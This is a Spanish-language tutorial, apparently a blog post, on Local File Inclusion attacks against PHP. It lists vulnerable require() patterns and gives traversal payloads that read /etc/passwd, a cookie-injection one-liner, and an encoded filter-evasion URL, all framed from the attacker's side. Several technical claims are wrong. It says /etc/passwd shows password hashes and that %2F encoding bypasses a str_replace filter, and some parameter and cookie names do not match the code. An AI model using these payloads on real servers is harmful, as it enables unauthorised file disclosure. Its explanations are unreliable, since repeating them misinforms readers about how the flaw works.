Local File Inclusion [LFI]



Este tipo de ataque es ya muy conocido y básicamente consiste en leer ficheros del sistema aprovechando fallos de programación que realizan llamadas a otros ficheros mediante los comandos require, require_once, include e include_once. Lógicamente, llamadas en las que entre en juego alguna variable no inicializada.

Esta vulnerabilidad se produce cuando una página no sanitiza correctamente una variable que posteriormente será usada para incluir un archivo, permitiendo inyectar caracteres para realizar un traversal directory, algunos ejemplos de típicos scripts PHP vulnerables a LFI:

require("includes/".$file);
require($file);
require("languages/".$lang.".php");
require("themes/".$tema."/config.php");

La forma de un request para realizar una llamada a una página, teniendo en cuenta el primer ejemplo, sería de la siguiente forma:

http://vulnerable.com/index.php?file=contacto.php

Esto es de poca utilidad para un atacante potencial, es más probable que le interese archivos que se encuentren fuera del directorio "includes/". Para realizar esto un atacante podría utilizar LFI, un ejemplo simple de esto podría ser:

http://vulnerable.com/index.php?file=../../../../etc/passwd

En un sistema *nix, esto muestra los hashes de las contraseñas en el servidor, que podrían ser posteriormente crackeadas y usadas para obtener acceso a los archivos.

Las formas de explotarlo son bien conocidas, tan solo las voy a enumerar. Por ejemplo:

Tipo de llamada:
    require($file);
Forma de explotarlo:
    http://host/?file=/etc/passwd

Tipo de llamada:
    require("includes/".$file);
Forma de explotarlo:
    http://host/?file=../../../../../etc/passwd

Tipos de llamada:
    require("languages/".$lang.".php");
    require("themes/".$theme."/config.php");
Forma de explotarlo:
    http://host/?file=../../../../../etc/passwd

Tipo de llamada:
    require("languages/".$_COOKIE['lang'].".php");
Forma de explotarlo:
    javascript:document.cookie = "lan=../../../../../etc/passwd";

Evasión de Filtros

La mayoría de los buenos programadores han protegido sus scripts contra los ataques más simples de LFI, por lo que se debe actualizar el script de ejemplo:

$file = str_replace('../', '', $_GET['file']);
if(isset($file))
{
    include("includes/$file");
}
else
{
    include("index.php");
}

Ahora, los ejemplo anteriores de ataques LFI ya no funcionarán. Obviamente, no queremos ser disuadidos por esto, así que tenemos que encontrar un camino para que nuestro Path Traversal funcione, evadiendo los filtros. Una forma de hacer esto es codificar uno o más caracteres en hexadecimal. Esto funciona porque el navegador decodifica la entrada, pero PHP no lo hace, entonces el nuevo LFI sería de la siguiente forma:

http://vulnerable.com/index.php?file=..%2F..%2F..%2F..%2Fetc%2Fpasswd

Notas Adicionales

Los ataques LFI a menudo se combinan con ataques Poison Null Byte, los cuales ayudan a evadir otras protecciones que podrían tener las futuras víctimas.

Comentarios